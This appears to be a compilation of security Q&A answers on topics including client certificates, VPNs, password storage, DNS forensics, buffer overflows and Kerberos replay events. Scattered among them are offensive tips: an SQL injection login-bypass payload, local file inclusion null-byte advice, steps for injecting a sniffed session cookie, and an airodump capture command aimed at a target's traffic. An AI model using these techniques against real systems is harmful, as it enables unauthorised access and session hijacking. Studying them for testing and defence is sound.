Bob uses a modified client that will make it look like the message arrived too late for him to act on it, by altering the timestamp. However, Alice has the original message receipt (countersignature), which has the timestamp of when the message was received. She (or her client) should notice if the receipt date is in the future. If it's not - that is, if Bob's copy is modified after the receipt is sent - then Alice still has a copy of the original receipt, with the original timestamp, signed with Bob's private key.
Alice, trying to make Bob look bad, crafts a fake message (that looks like it was sent but wasn't actually), and uses a modified client that displays the message as having been received. However, Alice doesn't have Bob's private key, so Alice's client can't produce a valid countersignature from Bob. When the boss looks at the messages that Alice supposedly sent, and tries to verify the supposed countersignature on Alice's message using Bob's public key, it will be revealed to be invalid.

Obviously, part of this system depends on people making sure that their messages are received. It's impossible to prove, for a message for which you have no countersignature, whether or not the recipient ever got it. So long as you get a countersignature, though, and the timestamp makes sense, either party can now prove that the message was exchanged, and when. Neither side can delete all proof of the exchange, or modify any detail, unilaterally; they would need to cooperate to fake anything.


Are login "certificates" more secure than standard username + password authentication?

The certificate protects users against the most common authentication security threat: password reuse.  Most internet users have a tendency to use the same or similar passwords across different sites, even banking sites.  When this occurs, it means the compromise of a password database from another site now allows access to the banking site.

Certificates also protect against the 2nd most common threat: phishing.  Using mutual authentication in TLS for the client verification makes phishing almost impossible.  (The attacker would need to plant a rogue CA in both sides of the connection, and if they're in a position to do that, they can do many worse things.)

You are correct that a certificate is not significantly harder for an attacker to steal than credentials, so offers little security to a user with a compromised endpoint.  The certificate does protect against two very real problems, however, and is thus a more secure option than a simple username/password.  As you've pointed out, this security comes with a usability cost, which is unfortunate.


As you've identified it has unchangeable default credentials, this is the point i'd unplug and throw it away. Your alternative is to firewall it off, make it accessible only from your own private network and VPN in to your network to use it.

You may find this interesting https://www.exploitee.rs/index.php/AOBO_Hidden_Spy_Camera_720P

As well as default creds, it has open telnet and ftp and creates its own wireless access point. So to answer your question, no, this is not secure.


The 4096-bit limit on RSA keys for GPG won't be an issue for security, unless a new, better, faster algorithm for cracking RSA keys is discovered, and then any assertion about strength provided by some specific key sizes would be overly speculative. New algorithms for cracking RSA don't happen often; last time was circa 1989 for the General Number Field Sieve (most of the scientific advances on GNFS since the late eighties' are about practical implementations of GNFS and a lot of small-scale optimizations, but the core algorithm has not changed since that time).

Note that asymmetric encryption does not solve the confidentiality issue; it just moves it around: you still have to store the private key somewhere. Ultimately, for your problem of storing passwords, you will protect your private key with a "master passphrase" and that's symmetric encryption. You could make the whole process simpler by applying symmetric encryption directly on your file full of passwords (GnuPG supports it). Going fully asymmetric is interesting (in your context) only if you want to store a new password from a machine from which you do not have access to the private key and on which you do not want to type your passphrase.

Either way, a tricky point is when it comes to using your stored passwords. You have to perform decryption on some system. That system had better be free of any malware, because a keylogger would then grab your passphrase and/or your private key (if you use asymmetric encryption). Ideally, you should do that only from your own device(s). That's what I do when travelling:

My own device is a Linux-powered netbook.
The /tmp directory is a memory-based filesystem (so what I write in it never makes it to the SSD).
No swap has been configured (so what is in RAM is never written to the SSD either).
I decrypt (symmetrically) my file-of-passwords in /tmp, read the password, then type it, and then I delete the decrypted file.

Of course, if you have your own device at that point, why would you need to store the encrypted file in your email ? You could keep it directly on your device.

(Speaking of which, since emails can store arbitrary files as attachments, you do not need to restrict yourself to the email-specific formats OpenPGP and S/MIME. Using these only makes things simpler in that you may hope for your mail application to perform the decryption, instead of having to resort to some command-line tools. However, I may argue that command-line tools give you more control about where your data goes, e.g. in a RAM-backed /tmp filesystem.)


What is the latest samba vulnability, and should I care?

The new Samba vulnerability is exploitable where the attacker has access to a writable SMB share.

So if , for example , you have a home network which doesn't expose port 445/TCP, you're unlikely to be directly affected by this issue.

Also applying all patches for your Operating Ssytems should address this.

One other thing to watch for is that devices such as Network Attached Storage systems can be vulnerable to this issue if they make SMB shares available.


Forensics - trace back DNS query origin on host?

Any application can easily submit any DNS resolution request. There are numerous libraries available and programmers can choose to perform the resolutions whichever way they want. For example, in Python it's one line of code (maybe two)

import dns.resolver
answers = dns.resolver.query('dnspython.org', 'MX')

To link an actual application to the UDP (assuming it is using the default UDP protocol) "session" it used to send the request, is a rather hard task. There are tools available for different Operating Systems (for example HomeProject or Microsoft Network Monitor) which can help to that direction.

Keep in mind, that the resolution process takes roughly a few milliseconds (DNS is competing among the fastest protocols). The process of resolving a domain name in order to get the IP address it resolves to, is being delegated from the stub resolver (the "application" that needs the IP address for a corresponding domain name) to a Recursive DNS Server (aka RDNS). An example of such server is Google's Public DNS, at 8.8.8.8 and 8.8.4.4. Your ISP will most likely provide the IP addresses of the RDNS servers it operates to your home modem/router, which will send them to the devices connected to it (via DHCP for example).

Among other things RDNS servers will store a matching domain name to IP address pair in their internal cache memory for a certain amount of time (TTL, Time To Live). This means that if you perform a resolution request within that time frame, the RDNS server will not go down the recursive resolution process, but will reply with the matching IP address it already has in memory. Therefore, the stub resolver will get a response extremely fast. For example, this is the time it takes to perform a resolution:

The first time

;; Query time: 248 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)

The second time

;; Query time: 40 msec
;; SERVER: 192.168.1.1#53(192.168.1.1)

What you are trying to do, is monitor which application opened a UDP socket on your system and listened to that socket for a response, for less than 3 seconds (the default timeout value for DNS). If you are not continuously monitoring both traffic and processes listening to specific ports, then as far as I know, there is no way to get the match. For future use, you will be able to match a process and a corresponding DNS resolution request, by looking at the ports used. For example, if application 1 opens port 7788 and you see a DNS request in the network traffic at the same time with source port equal to 7788 (destination will most likely be 53), then you have the application!


Is it advisable to have a web browser remember login credentials?

Make sure you use a strong Master Password, and don't forget it or lose it (Because resetting your master password will remove all of your saved usernames and passwords).

Essentially doing this means you're using Firefox as a password manager. The question now is "Is Firefox a good password manager?". Here are some answers to consider.

Alternatives: Lastpass (as mentioned) is a standalone password manager. A free and open source one I use is Keepass.


My understanding was that VPNs are set up in a way to allow secure connections in a way that it would remain secure regardless of what applications are installed on my personal computer.

Remember that a VPN provides nothing but a secure tunnel to a private network. They set up the VPN client on your work laptop so that you can use the private network of your workplace from home or essentially anywhere else. So using the workplace VPN on a personal laptop is almost equivalent to bringing your own - potentially untrusted - device to work, which is arguably a security risk. (Also see the disadvantages of BYOD.)

The VPN setup is only meant to secure the traffic between you and the private workplace network so that nobody can tamper with your traffic even if you are working from a public wifi or another untrusted network - and nothing else. It helps against an untrusted communication channel but not against an untrusted device. There are no mechanisms that would prevent malware on your machine from accessing the workplace network, extracting VPN authentication information or copying work-related files from your machine. If you are using the provided laptop instead, the administrators will at least have an overview about which devices are at use and can issue security updates/audits accordingly.


Chrome offers the ability to auto-fill passwords without you as a user having to enter any kind of authentication other than being logged onto the machine. This means it has to have all of the information required to access the stored passwords while running in that context.

This means that any other applications running in that context (under your user account) can also access that information.

The only thing Chrome can do is use Operating System level protection to stop other users reading your data. Under windows it uses the CryptProtectData function. This encrypts the data with your windows user credentials - including your password. If you forget your password then the data is unreadable - even if an administrator resets it (although with chrome passwords they are backed up online and would be recovered next time you logged into it with your google credentials).

  What do I misunderstand about security?

Any software running on your system under your own user or an administrator should be assumed to have access to everything that you do. If it couldn't read the password out of the password store there are numerous other ways to get it. From the clumsy (start chrome, point it to chrome://settings/passwords and read them out of the UI) to pulling either the passwords or the Google API key out of chromes memory while it is running or injecting a fake root certificate and man in the middle-ing a connection to the website where the password is sent.


do we need VPN for SaaS cloud applications?

I think there is some confusion here. The point of a VPN is to bridge a device into a LAN, so that internal resources can be (securely) accessed from an external network.

While some companies market VPNs as a kind of security or privacy tool, this is not their intended use at all, and the security benefits are questionable - ultimately you're just sending your network traffic to someone else's LAN, where it gets routed out to their ISP and back to the internet. You can safely ignore these offerings for any corporate use-case.

I think the best way to answer your question is to ask you a different question - if the SaaS offerings are available over the internet (i.e. they're not on a private LAN), do you need a VPN to talk to them?


Security of reading articles via an RSS reader

Yes, most commercial RSS feeds do place beacons in RSS articles. They track your IP, and transfer it to their analytics service providers. You can test for yourself, by going to a feed by Feedburner, and examining all the tiny images that are loaded. You can also read the source code of the RSS feed to see for yourself that the link to "Full article" often includes a tracking parameter.

Accessing feeds' articles (not just images) reveals your IP anyway. But beacons make it easier for analytics service providers to infer the degree of your interest in particular topics by comparing times of access for the images from your IP.

Solutions:

disable images in RSS feeds;
nag RSS reader developers to add support for adblocking plugins;
use Tor or anonymous proxies;
live with being tracked.

To clarify:

There may be RSS readers that report back on your reading patterns, I don't know what they are.
Bloggers may or may not be interested in your IP.
Advertising and analytics companies, such as Google, learn your IP and correlate this information with all the other stuff they know about you and your browsing habits.


File inclusion on a website always appending .php

Did you check if you can include a remote file (did you specify a URL as file)? If it's a classical LFI then you might not be going far with it because the php guys eventually fixed the bug with adding a %00 to cut off the string. What you can do now is you can scan the web server file system for php files. Maybe that allows you to detect new attack vectors but as often in pentesting you have to use your creativity if you want succeed.


Yes, using Linux Deploy on Android you have a lot of images to install. Kali is one of them. It installs also a SSH server and a VNC server to connect to your Linux.

In first instance you should update your system as normal using apt update && apt dist-upgrade and will see if error disappear. You can also check the file of your error. The error is saying that file has a bad "structure". Usually, files with ".desktop" extension are shortcuts and they should have this structure (I'll put an example of one of my desktop shortcuts):

[Desktop Entry]
Name=sqlninja
Encoding=UTF-8
Exec=sh -c "sqlninja;${SHELL:-bash}"
Icon=kali-sqlninja.png
StartupNotify=false
Terminal=true
Type=Application
Categories=04-database-assessment;
X-Kali-Package=sqlninja

Check it to know if your shortcut has the right structure or complete it if is not ok. You can delete it also if you are not using it and try to create it again.

A firefox (if it is your browser) shortcut has a little bit more complicated structure because of languages:

[Desktop Entry]
Name=Firefox ESR
Name[bg]=Firefox ESR
Name[ca]=Firefox ESR
Name[cs]=Firefox ESR
Name[es]=Firefox ESR
Name[fa]=Firefox ESR
Name[fi]=Firefox ESR
Name[fr]=Firefox ESR
Name[hu]=Firefox ESR
Name[it]=Firefox ESR
Name[ja]=Firefox ESR
Name[ko]=Firefox ESR
Name[nb]=Firefox ESR
Name[nl]=Firefox ESR
Name[nn]=Firefox ESR
Name[no]=Firefox ESR
Name[pl]=Firefox ESR
Name[pt]=Firefox ESR
Name[pt_BR]=Firefox ESR
Name[sk]=Firefox ESR
Name[sv]=Firefox ESR
Comment=Browse the World Wide Web
Comment[bg]=Сърфиране в Мрежата
Comment[ca]=Navegueu per el web
Comment[cs]=Prohlížení stránek World Wide Webu
Comment[de]=Im Internet surfen
Comment[el]=Περιηγηθείτε στον παγκόσμιο ιστό
Comment[es]=Navegue por la web
Comment[fi]=Selaa Internetin WWW-sivuja
Comment[fr]=Navigue sur Internet
Comment[hu]=A világháló böngészése
Comment[it]=Esplora il web
Comment[nb]=Surf på nettet
Comment[nl]=Verken het internet
Comment[nn]=Surf på nettet
Comment[no]=Surf på nettet
Comment[pl]=Przeglądanie stron WWW
Comment[pt]=Navegue na Internet
Comment[pt_BR]=Navegue na Internet
Comment[sk]=Prehliadanie internetu
Comment[sv]=Surfa på webben
GenericName=Web Browser
GenericName[bg]=Интернет браузър
GenericName[ca]=Navegador web
GenericName[de]=Webbrowser
GenericName[es]=Navegador web
GenericName[fi]=WWW-selain
GenericName[fr]=Navigateur Web
GenericName[hu]=Webböngésző
GenericName[it]=Browser Web
GenericName[nb]=Nettleser
GenericName[nl]=Webbrowser
GenericName[nn]=Nettlesar
GenericName[no]=Nettleser
GenericName[pl]=Przeglądarka WWW
GenericName[pt]=Navegador Web
GenericName[pt_BR]=Navegador Web
GenericName[ru]=Интернет-браузер
GenericName[sk]=Internetový prehliadač
GenericName[sv]=Webbläsare
X-GNOME-FullName=Firefox ESR Web Browser
X-GNOME-FullName[bg]=Интернет браузър (Firefox ESR)
X-GNOME-FullName[ca]=Navegador web Firefox ESR
X-GNOME-FullName[es]=Navegador web Firefox ESR
X-GNOME-FullName[fi]=Firefox ESR-selain
X-GNOME-FullName[fr]=Navigateur Web Firefox ESR
X-GNOME-FullName[hu]=Firefox ESR webböngésző
X-GNOME-FullName[it]=Firefox ESR Browser Web
X-GNOME-FullName[nb]=Firefox ESR Nettleser
X-GNOME-FullName[nl]=Firefox ESR webbrowser
X-GNOME-FullName[nn]=Firefox ESR Nettlesar
X-GNOME-FullName[no]=Firefox ESR Nettleser
X-GNOME-FullName[pl]=Przeglądarka WWW Firefox ESR
X-GNOME-FullName[pt]=Firefox ESR Navegador Web
X-GNOME-FullName[pt_BR]=Navegador Web Firefox ESR
X-GNOME-FullName[ru]=Интернет-браузер Firefox ESR
X-GNOME-FullName[sk]=Internetový prehliadač Firefox ESR
X-GNOME-FullName[sv]=Webbläsaren Firefox ESR
Exec=/usr/lib/firefox-esr/firefox-esr %u
Terminal=false
X-MultipleArgs=false
Type=Application
Icon=firefox-esr
Categories=Network;WebBrowser;
MimeType=text/html;text/xml;application/xhtml+xml;application/xml;application/vnd.mozilla.xul+xml;application/rss+xml;application/rdf+xml;image/gif;image/jpeg;image/png;x-scheme-handler/http;x-scheme-handler/https;
StartupWMClass=Firefox-esr
StartupNotify=true

If you don't have Firefox installed you can install a it using apt (apt install firefox).


Can I trick a mail server into sending me an email?

You cannot force an arbitrary email server to send an email to you. But it might be possible in specific setups.

The easiest case is if the servers allows relaying because then you can simply address the mail to you. If you have login credentials you might try to authorize against the server and send a mail to you, because most servers allow authorized users to send mail to external sites.

If this does not work you might try to generate a delivery error upstream which results in a bounce to you. How such delivery errors can be generated again depends on the setup of the infrastructure, but you might try to send mails with a virus inside (like EICAR  test virus), with invalid MIME structure, invalid DKIM signature or similar problems in the hope that some firewall will croak about such mail and cause a bounce.


How can I inject cookie from Wireshark into a browser sesson

Browse to the website you want to place cookies on.
Press F12 to open the developer tools.
Press F1 to open the settings.
Check the "Storage" checkbox to enable this tab.
Click the "Storage" tab. The cookies for this page are shown.
Click the + icon to add a new cookie.
Double click the Name field of the newly added cookie to change the cookie name.
Double click the Value field to change the value.
Refresh the page to perform a request including the new cookie.


The point of randomness is to gather entropy.

Let's take an example:
I choose my password from the 4 first digits of the website plus the character ! and a number consisting of the ASCII number of the first letter.

Example: PayPal -> payp!70 ; amazon -> amaz!65

The entropy of this password is 0. Because the method is always supposed to be known, and nothing is random in this scheme.

If you use alternatively two passwords, the entropy is 1 bit. (2 choices possible)

On the contrary, if I use a 7 generated letter password with random selection, the entropy raises to log2(267) ≃ 32.9

(26 characters possible for each position then reported in term of bits)

The more you add possible characters (that are random) the more the entropy raises. Each "rule-driven" selection of letters do not add entropy (so for same length passwords, entropy is lower).

So in theory this second password has more strength than the previous with non alphanumeric characters. The problem of password is always the same : remembering the password. This means you need to lower the entropy for yourself. Such algorithm as the first presented above enable your to remember a complex password. The "security" given by this approach is a bet over the knowledge of this algorithm (also called "security by obscurity"). This is considered a bad security practice: a targeted attack on yourself (with knowledge of your scheme) will succeed. But usually it's a concession you make for practical use.

Making sure password uses alphanumeric characters + cases changes + non alphanum charcaters + ... is a practice driven by the goal of making a password with great entropy for brute forces attacks, i.e. attacks which consider no particular scheme in password generation. But for each type of attack your password would have different entropy, possibly 0.

To conclude, entropy stays a theoretical measure of password strength, in real life crackers will use a given method based on assumptions. So even if a truly random 6 characters password is consider equally secure if it contain only lowercases letter or both, in practice crackers may choose a method that will lower it.


Is this foreign call some kind of scam and what kind is it?

If you look up that number on Google you will see that people complain that the phone only rings once, so that single ring does not happen only by chance. You can find complaints posted months or years ago, so it's not a new type of scam. And if you google "phone scam one ring" you will find lots of results, because apparently this scam has also been in the news recently. Here's a couple of links, and one is from the FCC (Federal Communications Commission) that apparently issued a warning on May 3rd:

https://www.fcc.gov/consumers/guides/one-ring-phone-scam
https://gizmodo.com/beware-the-one-ring-robocall-scam-1834578615

It's all about getting you to call back. You see the missed call, you call back, and you end up paying a lot of money because of a special toll or a call to a foreign country. Apparently the scammers have a way to get a percentage of what you end up paying in the bill, or this wouldn't make sense.


Is windows 7 vulnerable to null session?

Back in the day, null sessions were a major issue. The problem with null sessions is the ability to arbitrarily glean usernames from a system, then try password combinations via bruteforce until you manage to log in. Once done, badness ensues - anything you wish to do can be done.

As you can see on your Windows 7 system:

  Network Access: Do not allow anonymous enumeration of SAM accounts: Enabled (Default)

Your SAM database (user/password list) cannot be enumerated via a null session, whereas:

  Network Access: Do not allow anonymous enumeration of SAM accounts and shares: Disabled

Your Windows shares can. This is not the end of the world - without authenticating, all a null session can do is enumerate these shares (unless you've altered your ntfs permissions). That said, if you're feeling paranoid, you can always turn it on. Finally, this switch:

  HKLM\System\CurrentControlSet\Control\Lsa\RestrictAnonymous=0

Is a bit more complicated. In Windows, there's a group called "Everyone" which with this setting contains the "Anonymous" (unauthenticated) users. This switch basically allows you to share without authentication, which you sometimes want to do.

Switch it to 2, and "anonymous" no longer belongs to "everyone". More here.

Ultimately, null sessions are a problem where they allow enumeration of users and groups without authentication. Beyond this, null sessions (or unauthenticated sharing) becomes a risk depending on whether you're prepared to allow anonymous share enumeration (and use) or not.

So in the classic sense, no, Windows 7 is not vulnerable to null session attacks.


What are the differences between a qualified CA and a simple CA

At the technical level there is no real difference.

The difference is instead on an organisational level: a qualified trust service provider must adhere to specific requirements like making sure that the information in the certificates including the times are correct, that certificates will be quickly revoked if necessary and that it is kind of impossible for an attacker to create its own certificates. For more details see Wikipedia:Qualified digital certificate:Role of a qualified trust service provider.

The idea behind this requirements is that the issued certificates are sufficiently trustable in order to be used for digitally signing various kinds of data in the context of public and private transactions. Sufficiently trustable means that when in doubt a court will accept the digital signature as proof, which means that it needs to be sure that it could not have been faked by an attacker.


fuzzdb contains a collection of web backdoor programs which if they were present on a live server would be a good indication that it had been compromised.

This is likely why the A-V tool is reacting to those files.  It is a common issue with penetration testing tools that A-V software regards them as malicious.

However just downloading them is not going to cause your machine to be compromised and as they are JSP/ASP/PHP files, you probably can't execute them by double-clicking them so in the sense of a traditional virus, you likely don't have anything to worry about.

That said code downloaded from the Internet can contain anything, and you should always review code before using it, if you're worried about its provenance.


How can I protect my browser from being compromised?

Code execution? You say it like it's a bad thing :)

The fundamental problem with information security is that we've built Turing complete, computationally universal systems that can have any state and then we realize that some states aren't desirable and we can't control the system to not go into those states.

The best you can do is be security minded and layer multiple security controls starting from the hardware to the browser. But remember that there is a tradeoff between security and usability.

Qubes is an open source operating system designed to provide strong security for desktop computing. It is based on a secure bare-metal hypervisor (Xen) and you can use it to segregate your trust zones. Code execution in one environment would be isolated and be deleted when the environment reverts to the safe state.


Can IPsec transport mode prevent DPI by your ISP?

IPSec or other kind of VPN will prevent the ISP from using DPI to analyze the different kinds of traffic transported. But the ISP can detect that there is a IPSec/VPN tunnel and can treat it as low priority traffic, this way making it even worse for you.


Veracrypt has an option to use a keyfile instead of a password.  This allows the recipient of the encrypted file to not have to keep up with a password but can use a file (which is also encrypted) to decrypt the data.


You should HMAC the payload as well. Since you mentioned including a header with the HMAC of the path and query parameters, you could have a separate header that contains the HMAC of the body. However, you will likely only want one HMAC to be sent, so an attacker couldn't mix and match the different sections. Thus you could do something like this:

HMAC-Signature: HMAC( HMAC(path + query, key) + HMAC(body, key), key)

You may want to scrap HMAC all together and use TLS with client certificates. HMACs would be subject to replay attacks, unless you introduce nonces. Additionally, you have to consider that the HTTP spec can be hard to interpret consistently. Different browsers (and client libraries) have different approaches for things like character encoding. One application may want to send a?b=' but another may send a?b=%27, before decoding, these two resource/query strings will have very different HMACs.


Is my understanding of buffer overflows correct?

Usually, no, buffer overflow exploits is not about overwriting code. But there are definition issues.

A buffer overflow exploit (of the "write" kind) leverages a situation where the target system can be made to write more data than fits in the area that it writes to, thereby overwriting whatever was in RAM next to the buffer, with data that can be more or less controlled by the attacker. The classical exploit technique is to locate in that overwritten data a pointer to code that will be, at some point, followed by the target application. Thus, the attacker can make the application derail and got executing instructions that are elsewhere in RAM.

While code is in RAM, most if not all of it is in read-only sections; the operating system uses the platform's MMU to mark these sections as such, and any attempt at writing over code will trigger an exception from the OS kernel. Also, in a typical system, code sections and data sections are rather far apart in the address space, making the overrun hard to attempt.

A very classical situation is when the overflown buffer is on the stack (in C parlance, it is a "local variable"), because the stack also includes pointers to code, namely the saved instruction pointer. When a function is entered, the instruction pointer is saved on the stack, so that when the function returns, execution can jump back to the call site. This saved instruction pointer is thus a code pointer that will be followed at some point in the execution, so it is a prime target for overflows.

Another rather common case is related to the use of vtables in languages that support an object-oriented development style (typically C++, but "object-oriented C" would also qualify). Vtables are tables in RAM, full of pointers to functions, that are followed when methods are invoked. Such pointers are good targets for overflow exploits (the PS3 Jailbreak was working that way).

Now there are languages that are not compiled to raw instructions, but to a special format called threaded code. Threaded code is basically a long succession of pointers to code (to other threaded code, or to sequences of native instructions). This is typical of languages that accept building code at runtime, i.e. things which are often described as "interpreters". A buffer overflow in that context could lead to an overwrite of the (threaded) code, because, from the point of view of the kernel and the CPU, threaded code is data. This is the part where definition details can bite you.

Note that all of the above is about an overflow where data is written into a buffer, and past that buffer. There are also "read" overflows (maybe the term "overrun" would be more appropriate), in which data is read past a source buffer (and presumably written into another buffer). This can lead to leakage of secrets, and also to the application working on inconsistent data. Consequences vary greatly, depending on what the application does with the data. This can be very inconvenient, that is, very convenient for an attacker, if the overflow is such that the attacker obtains parts of cryptographic keys or other sensitive data.


What does the Local exactly mean in CVSS?

Simply put a local vulnerability means the attacker has prior access to the target.
That may mean already having an account on the machine. With an account already on the machine an attacker could raise their level of privileges with an exploit.

A good example of this being the latest Linux kernel exploit CVE-2010-3081. The exploit allows for a local, unprivileged user to escalate their privileges to that of root.


Will WPA Enterprise give any advantage on home network with one user?

The main benefit of WPA Enterprise is that it uses a radius server for authentication, which allows you more control on a per user basis.

Each user gets their own key to secure their connection. This means a user can't Snoop on other people using the same network (in WPA2 Personal you can read all users wifi traffic if you have the PSK).

Each user can be assigned a VLAN, further segregating the traffic, and allowing you to partition your network based on the user.

If a device is lost or stolen it won't cause you to reconfigure the other devices, you would simply deactivate that user.

While most benefits apply to multiple devices/user scenarios, there is one benefit for a single user, which is that it disables WPS, which is only available on personal.

I'm your case it seems like the benefit is minimal, and the overhead of setting up and maintaining a radius server likely isn't worth it.

Overview of enterprise http://techgenix.com/why-use-enterprise-wi-fi-security/


Since when can't any program get MS-DOS and MS-Windows admin rights?

At the time of MS-DOS, or in the graphical derivatives (up to and including Windows ME), there was no notion of "administrative rights".

There are two distinct concepts here, that should be detailed. The first one is about what a process is allowed to do when it asks nicely. The second is what it can do if it is not nice at all.

In MS-DOS, each process grabs exclusive control of the machine and can do just about anything it wishes. It sees all the RAM, can talk to all the hardware, and so on. Also, there is no scheduler, so a process uses the CPU until it exits. It is possible to make a process linger around, but that is mostly reserving a bit of RAM and waiting to be given control through, usually, an hardware interrupt (mouse handlers worked that way).

With Windows 3.1 in "386 extended mode", and its derivatives Windows 95, 98 and Millenium (ME), several processes may run concurrently, and a piece of the operating system gives the CPU to one or the other, without asking them. This is called preemptive multitasking. Each process has its own memory space, and the MMU traps cases where one process is trying to access the memory of another. However, this is only for detecting bugs, not for security: all processes can still access the hardware directly, and read and write kernel memory. Thus, there is no notion of "administrative rights" that make sense in these OS, and they don't even try.

In the NT lineage, starting with NT 3.51 then NT 4, Windows 2000, XP and subsequent versions, there is actual memory protection and processes cannot escape their address space. They cannot talk to the hardware directly, and they cannot access memory beyond that which was explicitly allocated to them. This implies that when they need to do anything that exceeds the boundaries of their private address space, be it reading a file or displaying things on the screen, they must ask the OS. And the OS will comply, or not, depending on its own notion of access rights. Any process can thus have "administrator rights" or not; if it does not, then a number of operations will be rejected with an "access denied" error.

This applies to MS-DOS executables as well. Under the NT line of systems, MS-DOS executables work with a 16-bit addressing model, meaning that they "see" an address space of about one megabyte (1114096 bytes, precisely) in which the OS emulates an old MS-DOS version -- the process believes that it is alone in the machine; but when it accesses files by talking with that emulated MS-DOS, the calls are routed back to the normal (32-bit) kernel, which will decide whether to accept them or not, based on the access rights granted to the MS-DOS process, in particular whether it was run with admin rights or not.

Note that running 16-bit code in an otherwise 32-bit OS requires usage of the VM86 mode. This mode is not supported by modern x86 CPU when they run in 64-bit mode (also known as "long mode") so running 16-bit MS-DOS processes is not supported in 64-bit versions of Windows, unless you add an extra layer of CPU emulation such as DOSBox.

Summary: 16-bit executables do not have automatic admin rights in DOS/Windows. Old OS versions have no such notion; on Windows versions that support a concept of admin rights, a 16-bit executable will have such rights only if explicitly granted -- if it can run at all, which is no longer the case with 64-bit architectures.


Wireshark / TCPdump captures only part of HTTP request packets

My first guess would be the strength of the wifi signal, are you close enough from both router AND target computer? Maybe you're close to one but far from other, meaning that you will not properly capture packets from both.

Check using airodump if you have at least -67dBm of signal for both router and target. Also, remember that the signal is in a logarithm scale, the higher the number, better. If you get a signal around -50dBm would be good.

If you have good signal from both router and target machine, try to do the capture using airodump-ng [ airodump-ng wlan0mon -c CHANNEL --bssid ROUTER_MAC -w CAPTURE_FILE ] and then open the saved capture on wireshark. From my experience, airodump is more reliable (and you can see in real time the signal strength)


A Replay Attack was Detected (4649) on DC and File Server - How should I investigate this?

I snagged this potential answer from Reddit which linked to an article at ITProToday:

  ”When the Kerberos logic on a DC or resource server
  validates a Kerberos authentication message, it will always check the
  authenticator's timestamp. If the timestamp is earlier or the same as
  a previous authenticator, the server-side Kerberos logic will reject
  the packet because it considers it part of a replay attack and user
  authentication will fail. The Kerberos server-side logic also compares
  the timestamp in the authenticator to the local server time. If the
  timestamp in the authenticator isn't within five minutes of the time
  on the server, it will also reject the packet. These five minutes are
  referred to as the Kerberos time skew.”

  I would start by having the local time checked on that remote host.
  Then any issues on the vpn infra. Apparently this type of attack
  grants nothing for the attacker so it most likely is not an attacker
  but a misconfiguration.

https://www.itprotoday.com/security/understanding-how-kerberos-authentication-protects-against-replay-attacks

So, your first step should be to determine if this is a "true positive" by ruling out potential configuration issues while also analyzing your Domain Controller logs.


Could PKE be used as a better alternative to SRP for authentication?

When you say,

  Let's say the Server knows the PubKey(User) of the User and the User knows the PubKey(Server) of the Server.

you are presenting a much easier problem than SRP needs to solve. Quite simply, if each party already knows the other party's public keys, then we are done. All mutual authentication and key exchange is then easy. No secrets (such as the SRP verifier) would ever need to be transmitted nor would any secrets beyond ones own private keys would need to be stored.

SRP and other PAKEs (Password-based Authenticated Key Exchange) systems become unnecessary in a world in which communicating parties already know each others public keys.


Is Pentesting now all about running Tools?

In my conception, what you described can be called vulnerability assessment, which consists of finding out possible points of penetration in the system. It is greatly enhanced by automated tools due to the volume of tests it can process in no time. It should be noticed, though, that vulnerability assessments are not perfect and, usually, require manual assist from the operator.

Penetration test, on the other hand, is more than just it. It deals with actually get access to the system by exploiting the vulnerabilities available. Moreover, it can use non-digital methods, such as social engineering. In penetration testing, it is required great manual effort from the operator.

tl;dr: No. Penetration testing is not just running automated tools.


OTP on the same device being used to login

You are correct, this is not effective in the case of the device being stolen - you need good local authentication for that such as a long pin, password, passphrase, and potentially biometrics.

However these OTP solutions are not trying to address that threat. They are intended to prevent someone from attempting to access a service by guessing usernames and passwords, or using usernames and passwords stolen from elsewhere (e.g. through keyloggers, database dumps etc).

For example:

XYZ website is hacked and the usernames and passwords cracked and published online
I get the list and try each of the credentials against the ABC website
Often users will have used the same usernames and passwords and I will gain access to some accounts
However if my account on ABC website is linked to a mobile number and uses an SMS to authenticate then knowing my username and password doesn't allow you to compromise my ABC account unless you can also intercept the SMS


That you can generate an error doesn't necessarily mean you can exploit it. Did you try something like

bad' or '1' = '1

Can you bypass the login?


Why do sites implement locking after three failed password attempts?

Recently, at the OWASP AppSec 2010 conference in Orange County, Bill Cheswick from AT&T talked at length about this issue.

In brief, there's insufficient research.

In long, here are some of his ideas for less painful account locking:

Don't count duplicate password attempts (they probably thought they mistyped it)
Make the password hint about the primary password, and don't have a (weak) secondary
Allow a trusted party to vouch for the user, so he can change his password.
Lock the account in increasing time increments
Remind the user of password rules.


Snake oil, this is just a glorified Linux live-USB with lots of bold claims to fool naive customers (they advertise it as a silver bullet solution for anonymity and privacy, which is impossible to do by just inserting an USB stick in a machine - does it magically detect hardware keyloggers or compromised firmware?).

You can make your own by installing Tails on an USB stick. I was about to rant over their proprietary OS but it looks like they're based on Ubuntu but even then, there is no clear download link for the source code so I wouldn't trust it.

If we assume their solution isn't malicious, this still isn't a silver bullet for anonymity and security; let's break down some of their claims :

  Use it at work and keep your employer from tracing or tracking your online footprints

This doesn't protect against hardware or low-level (in the firmware for example) eavesdropping, while I doubt most employers would use this, it's definitely possible and this solution won't protect you against that. If you must do something privately, do it on your own computer, not your employer's one.

If you use it on your employer's network they will definitely know it - while it's true that they won't know what you're doing (assuming you're accessing HTTPS sites or using Tor), they will definitely notice some encrypted flow on the network and that will raise suspicions (and use of anonymity software may be prohibited which means you're fired).

  Plug ICLOAK Stik into the USB drive of any Mac or PC device, reboot and you have 100% anonymity and privacy in under a minute.

Again, this doesn't take into account low-level nastyness like a compromised firmware or hardware keyloggers - if you need privacy or anonymity you should not be using a machine over which you don't have full control. Internet kiosks/cafés, employer-provided PCs, etc... shouldn't be trusted at all.

So, while it can indeed provide anonymity if you know how to use it properly (only on your own machine, check for hardware keyloggers, etc), I'd say this is snake oil because their target market is the "average Joe" who has no clue about IT security and will blatantly believe they can make any machine safe just by plugging an USB drive in it, which is obviously false and dangerous for them.


How do partial wildcards in subjectAltName dNSName interact with IDNA domains?

RFC6125 section 7.2 strongly discourages the use of wildcards inside an IDNA part of the domain name:

   o  There is no specification that defines how the wildcard character
      may be embedded within the A-labels or U-labels [IDNA-DEFS] of an
      internationalized domain name [IDNA-PROTO]; as a result,
      implementations are strongly discouraged from including or
      attempting to check for the wildcard character embedded within the
      A-labels or U-labels of an internationalized domain name (e.g.,
      "xn--kcry6tjko*.example.org").  Note, however, that a presented
      domain name identifier MAY contain the wildcard character as long
      as that character occupies the entire left-most label position,
      where all of the remaining labels are valid NR-LDH labels,
      A-labels, or U-labels (e.g., "*.xn--kcry6tjko.example.org").

